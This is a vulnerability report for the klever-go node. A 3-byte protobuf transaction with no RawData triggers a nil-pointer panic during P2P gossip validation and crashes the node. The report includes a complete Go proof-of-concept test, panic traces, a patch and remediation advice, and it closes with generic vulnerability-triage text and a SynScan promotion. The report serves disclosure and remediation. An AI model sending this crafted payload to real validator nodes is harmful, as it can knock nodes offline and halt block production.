Every transaction gossiped on the klever-go P2P network is decoded and validated
synchronously inside the libp2p pubsub topic-validator callback. The validator
txVersionChecker.CheckTxVersion dereferences tx.RawData.Version with no nil
check. A protobuf Transaction whose embedded RawData sub-message is omitted
decodes to RawData == nil, so validating it triggers a nil-pointer panic.
The libp2p pubsub callback, the underlying go-libp2p-pubsub validation worker, and
klever's own network/p2p layer install no recover(), so the panic propagates and
crashes the entire node process. The attacker payload is a 3-byte protobuf message;
no validator key, stake, funds, or on-chain account is required. Aimed at enough of
the BLS validator set, repeated delivery halts block production (chain halt).
core/versioning/txVersionChecker.go:22core/process/transaction/interceptedTransaction.go:203 (integrity) and :154 (CheckValidity)core/process/interceptors/multiDataInterceptor.go:171 and :223network/p2p/libp2p/netMessenger.go pubsubCallback (no recover)core/process/factory/interceptorscontainer/baseInterceptorsContainerFactory.go (createOneTxInterceptor)Synchronous validation path, no recovery at any frame:
libp2p pubsubCallback network/p2p/libp2p/netMessenger.go (no recover)
-> MultiDataInterceptor.ProcessReceivedMessage core/process/interceptors/multiDataInterceptor.go:171
-> interceptedData(...) core/process/interceptors/multiDataInterceptor.go:223
-> InterceptedTransaction.CheckValidity core/process/transaction/interceptedTransaction.go:154
-> integrity() core/process/transaction/interceptedTransaction.go:203
-> txVersionChecker.CheckTxVersion(tx) core/versioning/txVersionChecker.go:22 <-- nil deref
Root cause (core/versioning/txVersionChecker.go):
func (tvc *txVersionChecker) CheckTxVersion(tx *transaction.Transaction) error {
if tx.RawData.Version < tvc.minTxVersion { // tx.RawData is nil -> panic
return process.ErrInvalidTransactionVersion
}
return nil
}
integrity() calls CheckTxVersion as its very first statement, before any
RawData nil-check, and CheckValidity() runs before the whitelist / originator-
election gate in the interceptor, so node-role and whitelist restrictions do not
protect this path.
transactions gossip topic.withMessageSigning = true, which only requires the gossip
message to be signed by the attacker's OWN libp2p peer key (a self-generated
identity; NOT a validator key, NOT funded, NOT authorized).transactions on every node.POST /transaction/send path is NOT crash-exploitable - the REST
server uses gin.Default() (Recovery middleware) and returns HTTP 500. The
exploitable vector is the P2P interceptor.Scenario
Transaction
with RawData omitted (plus a throwaway Signature so the batch entry looks like a
real tx). With the production proto marshalizer this encodes to 3 bytes
(12 01 78) and round-trips back to RawData == nil.transactions gossip topic is
served by a MultiDataInterceptor (baseInterceptorsContainerFactory.go,
createOneTxInterceptor); the test wraps the tx in a Batch exactly like a bulk-tx
gossip message and calls ProcessReceivedMessage, which is precisely what the
panic-free libp2p pubsubCallback invokes in production. A second test drives the
generic SingleDataInterceptor to show the bug is in the shared validation chain.interceptedTxDataFactory.Create:
it builds a genuine *InterceptedTransaction. No validation behavior is stubbed;
only leaf crypto/marshal helpers use the repo's own in-tree mocks. The panic occurs
on the first line of integrity(), upstream of any mock.How to run
git clone https://github.com/klever-io/klever-go && cd klever-go
(Go toolchain matching go.mod go 1.25.7; verified locally on go1.26.3.)core/process/interceptors/poc_nil_rawdata_dos_test.go.go test ./core/process/interceptors/ -run TestPoC_NilRawData_MultiDataInterceptor -vgo test ./core/process/interceptors/ -run TestPoC_NilRawData_SingleDataInterceptor -vFull PoC source (poc_nil_rawdata_dos_test.go):
// Target component: klever-go P2P transaction interceptor (network availability)
// core/process/transaction/interceptedTransaction.go
// core/versioning/txVersionChecker.go:22
// Vulnerability type: Unauthenticated remote Denial-of-Service (nil-pointer panic / chain-wide node crash)
// CWE-476 (NULL Pointer Dereference) reached from untrusted P2P input.
//
// Summary:
// Every gossiped transaction is decoded and validated synchronously inside the
// libp2p pubsub topic-validator callback
// (network/p2p/libp2p/netMessenger.go -> pubsubCallback). That callback has NO
// recover(). The validation chain is:
//
// (Multi|Single)DataInterceptor.ProcessReceivedMessage
// -> InterceptedTransaction.CheckValidity
// -> integrity()
// -> txVersionChecker.CheckTxVersion(tx) // tx.RawData.Version <-- nil deref
//
// CheckTxVersion dereferences tx.RawData.Version with no nil guard. A protobuf
// Transaction whose embedded RawData message is omitted unmarshals fine (RawData==nil),
// so an unauthenticated peer can broadcast a few bytes that panic the validation
// goroutine and crash the entire node process. Repeating it against the validator
// set halts consensus.
//
// How to run:
// 1) git clone https://github.com/klever-io/klever-go && cd klever-go
// 2) cp <this file> core/process/interceptors/poc_nil_rawdata_dos_test.go
// 3) go test ./core/process/interceptors/ -run TestPoC_NilRawData -v
//
// Expected output:
// The test process aborts with:
// panic: runtime error: invalid memory address or nil pointer dereference
// ... core/versioning.(*txVersionChecker).CheckTxVersion ... txVersionChecker.go:22
// ... InterceptedTransaction.integrity ... -> CheckValidity
// ... (Multi|Single)DataInterceptor.ProcessReceivedMessage
// i.e. the crash originates from the interceptor's synchronous message-handling frame,
// exactly where the panic-free libp2p pubsub callback would call it in production.
//
// Dependencies: none beyond the repo's own go.mod (uses in-repo mocks only).
package interceptors_test
import (
"testing"
"github.com/klever-io/klever-go/common/mock"
"github.com/klever-io/klever-go/core"
"github.com/klever-io/klever-go/core/process"
"github.com/klever-io/klever-go/core/process/interceptors"
txproc "github.com/klever-io/klever-go/core/process/transaction"
"github.com/klever-io/klever-go/core/throttler"
"github.com/klever-io/klever-go/core/versioning"
cryptoMock "github.com/klever-io/klever-go/crypto/mock"
"github.com/klever-io/klever-go/data/batch"
dataTransaction "github.com/klever-io/klever-go/data/transaction"
)
// buildMaliciousTxBytes returns the proto wire-bytes of a Transaction whose RawData
// field is omitted. This is the entire attacker payload.
func buildMaliciousTxBytes(t *testing.T) []byte {
m := &mock.ProtoMarshalizerMock{}
maliciousTx := &dataTransaction.Transaction{ /* RawData: nil */ }
buff, err := m.Marshal(maliciousTx)
if err != nil {
t.Fatalf("marshal malicious tx: %v", err)
}
return buff
}
// pocTxFactory is a faithful copy of the production interceptedTxDataFactory.Create:
// it builds a genuine *InterceptedTransaction from the received bytes. No validation
// behavior is stubbed; only leaf crypto/marshal helpers use the repo's standard mocks.
type pocTxFactory struct{}
func (pocTxFactory) Create(buff []byte) (process.InterceptedData, error) {
m := &mock.ProtoMarshalizerMock{}
return txproc.NewInterceptedTransaction(&txproc.InterceptedTransactionArgs{
TxBuff: buff,
ProtoMarshalizer: m,
SignMarshalizer: m,
Hasher: mock.HasherMock{},
KeyGen: &cryptoMock.SingleSignKeyGenMock{},
Signer: &cryptoMock.SignerMock{SigSizeStub: func() int { return 64 }},
PubkeyConv: &mock.PubkeyConverterStub{LenCalled: func() int { return 32 }},
WhiteListerVerifiedTxs: &mock.WhiteListHandlerStub{},
ChainID: []byte("chainID"),
TxSignHasher: mock.HasherMock{},
FeeHandler: &mock.FeeHandlerStub{
CheckValidityTxValuesCalled: func(tx process.TransactionWithFeeHandler) (*dataTransaction.CostResponse, error) {
return &dataTransaction.CostResponse{}, nil
},
},
TxVersionChecker: versioning.NewTxVersionChecker(0),
ForkController: &mock.ForkControllerStub{},
})
}
func (pocTxFactory) IsInterfaceNil() bool { return false }
// TestPoC_NilRawData_MultiDataInterceptor exercises the EXACT production path for the
// "transactions" gossip topic, which is served by a MultiDataInterceptor (see
// core/process/factory/interceptorscontainer/baseInterceptorsContainerFactory.go,
// func createOneTxInterceptor).
func TestPoC_NilRawData_MultiDataInterceptor(t *testing.T) {
protoMarsh := &mock.ProtoMarshalizerMock{}
// Wrap the single malicious tx in a Batch, exactly like a bulk-tx gossip message.
b := &batch.Batch{Data: [][]byte{buildMaliciousTxBytes(t)}}
batchBytes, err := protoMarsh.Marshal(b)
if err != nil {
t.Fatalf("marshal batch: %v", err)
}
th, _ := throttler.NewNumGoRoutinesThrottler(5)
mdi, err := interceptors.NewMultiDataInterceptor(interceptors.ArgMultiDataInterceptor{
Topic: "transactions",
Marshalizer: protoMarsh,
DataFactory: pocTxFactory{},
Processor: &mock.InterceptorProcessorStub{},
Throttler: th,
AntifloodHandler: &mock.P2PAntifloodHandlerStub{},
WhiteListRequest: &mock.WhiteListHandlerStub{},
CurrentPeerID: core.PeerID("self"),
})
if err != nil {
t.Fatalf("build interceptor: %v", err)
}
msg := &mock.P2PMessageMock{
DataField: batchBytes,
TopicField: "transactions",
PeerField: core.PeerID("attacker"),
}
// In production this is called by the libp2p pubsub callback, which has no recover().
// The nil-pointer panic therefore propagates and crashes the node process.
_ = mdi.ProcessReceivedMessage(msg, core.PeerID("attacker"))
// Only reached if the bug is fixed (CheckTxVersion guards a nil RawData).
t.Log("no panic: node survived -> NOT vulnerable")
}
// TestPoC_NilRawData_SingleDataInterceptor shows the same crash via the generic
// single-item interceptor path, demonstrating the bug is in the shared validation
// chain, not in one interceptor variant.
func TestPoC_NilRawData_SingleDataInterceptor(t *testing.T) {
th, _ := throttler.NewNumGoRoutinesThrottler(5)
sdi, err := interceptors.NewSingleDataInterceptor(interceptors.ArgSingleDataInterceptor{
Topic: "transactions",
DataFactory: pocTxFactory{},
Processor: &mock.InterceptorProcessorStub{},
Throttler: th,
AntifloodHandler: &mock.P2PAntifloodHandlerStub{},
WhiteListRequest: &mock.WhiteListHandlerStub{},
CurrentPeerID: core.PeerID("self"),
})
if err != nil {
t.Fatalf("build interceptor: %v", err)
}
msg := &mock.P2PMessageMock{
DataField: buildMaliciousTxBytes(t),
TopicField: "transactions",
PeerField: core.PeerID("attacker"),
}
_ = sdi.ProcessReceivedMessage(msg, core.PeerID("attacker"))
t.Log("no panic: node survived -> NOT vulnerable")
}
Result A - production MultiDataInterceptor (the transactions gossip topic):
$ go test ./core/process/interceptors/ -run TestPoC_NilRawData_MultiDataInterceptor -v
=== RUN TestPoC_NilRawData_MultiDataInterceptor
--- FAIL: TestPoC_NilRawData_MultiDataInterceptor (0.00s)
panic: runtime error: invalid memory address or nil pointer dereference [recovered, repanicked]
[signal SIGSEGV: segmentation violation code=0x1 addr=0x70 pc=0x7b7be4]
goroutine 8 [running]:
panic({0x888c00?, 0xd54d60?})
/usr/lib/go-1.26/src/runtime/panic.go:860 +0x13a
github.com/klever-io/klever-go/core/versioning.(*txVersionChecker).CheckTxVersion(0x7?, 0x7?)
.../core/versioning/txVersionChecker.go:22 +0x4
github.com/klever-io/klever-go/core/process/transaction.(*InterceptedTransaction).integrity(...)
.../core/process/transaction/interceptedTransaction.go:203 +0x31
github.com/klever-io/klever-go/core/process/transaction.(*InterceptedTransaction).CheckValidity(...)
.../core/process/transaction/interceptedTransaction.go:154 +0x13
github.com/klever-io/klever-go/core/process/interceptors.(*MultiDataInterceptor).interceptedData(...)
.../core/process/interceptors/multiDataInterceptor.go:223 +0x9c
github.com/klever-io/klever-go/core/process/interceptors.(*MultiDataInterceptor).ProcessReceivedMessage(...)
.../core/process/interceptors/multiDataInterceptor.go:171 +0x7ca
github.com/klever-io/klever-go/core/process/interceptors_test.TestPoC_NilRawData_MultiDataInterceptor(...)
.../core/process/interceptors/poc_nil_rawdata_dos_test.go:135 +0x3ef
FAIL github.com/klever-io/klever-go/core/process/interceptors 0.005s
FAIL
Result B - generic SingleDataInterceptor (same root cause via the shared chain):
$ go test ./core/process/interceptors/ -run TestPoC_NilRawData_SingleDataInterceptor -v
=== RUN TestPoC_NilRawData_SingleDataInterceptor
--- FAIL: TestPoC_NilRawData_SingleDataInterceptor (0.00s)
panic: runtime error: invalid memory address or nil pointer dereference [recovered, repanicked]
[signal SIGSEGV: segmentation violation code=0x1 addr=0x70 pc=0x7b7be4]
goroutine 8 [running]:
panic({0x888c00?, 0xd54d60?})
/usr/lib/go-1.26/src/runtime/panic.go:860 +0x13a
github.com/klever-io/klever-go/core/versioning.(*txVersionChecker).CheckTxVersion(0x7?, 0x7?)
.../core/versioning/txVersionChecker.go:22 +0x4
github.com/klever-io/klever-go/core/process/transaction.(*InterceptedTransaction).integrity(...)
.../core/process/transaction/interceptedTransaction.go:203 +0x31
github.com/klever-io/klever-go/core/process/transaction.(*InterceptedTransaction).CheckValidity(...)
.../core/process/transaction/interceptedTransaction.go:154 +0x13
github.com/klever-io/klever-go/core/process/interceptors.(*SingleDataInterceptor).ProcessReceivedMessage(...)
.../core/process/interceptors/singleDataInterceptor.go:118 +0x12e
github.com/klever-io/klever-go/core/process/interceptors_test.TestPoC_NilRawData_SingleDataInterceptor(...)
.../core/process/interceptors/poc_nil_rawdata_dos_test.go:165 +0x2b1
FAIL github.com/klever-io/klever-go/core/process/interceptors 0.005s
FAIL
Interpretation
txVersionChecker.go:22
(tx.RawData.Version), reached through the real interceptor's synchronous
ProcessReceivedMessage frame - the exact frame the recover-free libp2p pubsub
callback executes in production. A recover()-less crash here = full node process exit.tools/marshal.ProtoMarshalizer): the malicious tx is
3 bytes 12 01 78 and decodes to RawData == nil, confirming the trigger is a
valid, attacker-craftable wire message (not a malformed blob rejected earlier).Primary (root cause) - make CheckTxVersion nil-safe / reject RawData == nil early:
func (tvc *txVersionChecker) CheckTxVersion(tx *transaction.Transaction) error {
if tx == nil || tx.RawData == nil {
return process.ErrInvalidTransactionVersion
}
if tx.RawData.Version < tvc.minTxVersion {
return process.ErrInvalidTransactionVersion
}
return nil
}
Returning a sentinel error here is already handled by the interceptors (they blacklist peers that send wrong-version transactions).
Defense-in-depth:
pubsubCallback (and/or ProcessReceivedMessage) in a
recover() so a single malformed message can never abort the process.inTx.tx.RawData.* dereferences in
interceptedTransaction.go (chainID/sender/contract/nonce/fee getters) for the same
nil-input class.Checked against the 3 published advisories (GHSA-jc6w-wmfc-fh33 / CVE-2026-46403,
GHSA-87m7-qffr-542v / CVE-2026-44697, GHSA-74m6-4hjp-7226). This is NOT a duplicate:
different root cause (nil RawData deref vs gzip OOM / throttler accounting / VM
read-only isolation); the advisory texts never mention RawData, CheckTxVersion,
txVersionChecker, or any nil/NULL deref. Those three advisories' fixes are already
present in the reviewed tree, yet txVersionChecker.go:22 remains unpatched. It is
adjacent in impact class (P2P interceptor DoS) to 87m7 / 74m6, referenced here for context.
A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.
CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.
A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.
Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.
Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.
SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.